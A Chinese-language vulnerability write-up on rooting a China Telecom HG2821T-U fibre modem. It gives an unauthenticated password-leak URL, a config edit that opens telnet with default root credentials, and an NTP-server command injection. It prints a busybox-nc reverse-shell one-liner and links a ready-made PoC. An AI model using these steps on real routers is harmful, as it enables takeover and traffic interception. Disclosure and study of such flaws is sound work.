如何日穿自家光猫

 

这是之前发现的自家用的电信光猫的管理后台rce,但是由于有个信息泄露迟迟没有修复,所以不用知道后台密码也能够直接进入后台,直到现在都没有修复。先上个一键反弹shell脚本地址https://github.com/C4o/HG2821T-U_PoC ,万水千山总是情,点个star行不行。

当时漏洞交给过补天,通过之后因为一些“原则”问题被忽略了,交给电信研究院然后就没声了,最后交给cnvd混了张证书,原本以为能混个CVE,结果只能搞个CNVD。漏洞到现在已经超过半年,寻思着就算公开也没啥事吧。最近正好有老哥问怎么拿到源代码的,所以看看写详细点能不能混个饭钱。

 

获取源码过程

拿到光猫的时候,我就nmap扫了一哈,外网不能访问80端口,但是可以访问8080端口,关键是电信一波光猫有个信息泄露,可以看到用户管理系统和8080端口上系统的密码密文这个信息泄露现在都还没修,然后我就进了后台。

信息泄露地址在http://192.168.x.1/cgi-bin/baseinfoSet.cgi ,解密规则也已经被安排了http://koolshare.cn/forum.php?mod=viewthread&tid=125090&highlight=hg2821 ,脚本里也都写了。

进入系统后,就随便翻一翻,找到个地方,可以直接修改useradmin密码,算个csrf(80端口上无线路由管理系统的用户名为useradmin,8080端口管理系统上的用户名为telecomadmin)?

那如何进入这个光猫的系统呢?硬件牛盖子一拆就能长驱直入了,我也想,但是实力不允许。然后就惊喜发现在光猫的配置文件中,首先先导出原配置文件,在管理-设备管理,插个U盘,备份配置即可。发现了telnet的配置,默认为0,刚才扫端口的时候也没开23,22这些的,那尝试改个1试试,然后再扫一次端口,就发现稳了。telnet账户密码写在配置文件里了,我这是root/abcd,然后直接进去就是root shell了。

P.S.这里有个问题,就是telnet开了之后,公网的其他人也可以通过光猫分配的公网地址来登陆telnet,所以如果有这么操作的,记得关闭telnet。

 

一些简单的分析

设备硬软件所属厂商及型号

硬件:电信光猫HG2821T-U

软件:天翼智能网关

设备使用范围

该设备是2018年江苏安装电信宽带时附带的光猫。通过源代码审计发现该设备可能存在于如下33个省市 ,代码如下:

漏洞发现过程

1)默认后门获取光猫管理端密码(网络上有网站已公开,但是没有该问题同样会通过源代码发现2号漏洞)
在baseinfoSet.cgi中发现直接打印了telecomaccount/telecompassword和useraccount/userpassword 的等变量,

发现电信光猫存在后门,可以看到用户管理系统和8080端口上系统的密码密文,后门路径为http://ip:8080/cgi-bin/baseinfoSet.cgi, 如图:

密码根据网上公开的解密方式可以进行解密。

2)光猫管理后台一处任意命令执行

大概看了下代码,有个地方接受客户端设置的ntp服务器地址:

选择NTPSERVER1参数跟踪:

在获取提交请求后,把NTPSERVER1当做参数通过$inter_web执行某个命令,跟踪inter_web ,发现是某个可执行文件,但是发现IPADDRESS参数是通过该文件获取,推测inter_web会去执行某个命令测试ntpserver1 的存活性或是其他

接下来根据审计猜想进行测试,漏洞出现在8080端口上的管理端,在设定时间同步服务器处存在远程代码执行,由于光猫并未自带bash,所以使用sh 创建一个通信管道,用反引号包裹,再进行反弹,由于光猫内置的是阉割版的linux,所以猜测会有busybox,测试发现busybox 带有nc:

~ mknod /tmp/backpipe p

~ /bin/sh0</tmp/backpipe | busybox nc 192.168.1.2 8888 1>/tmp/backpipe

并使用nc进行反弹的shell的接收,测试发现光猫上使用的就是busybox :

同样的方式反弹到临时新建的云主机上:

既然可以获取root shell,那么网络劫持,监听用户流量自然都可以做到。

利用限制条件

连接到光猫或其子网上,访问光猫内网地址(默认192.168.1.1)的8080端口的web 服务,所以实际上问题不大。

(完)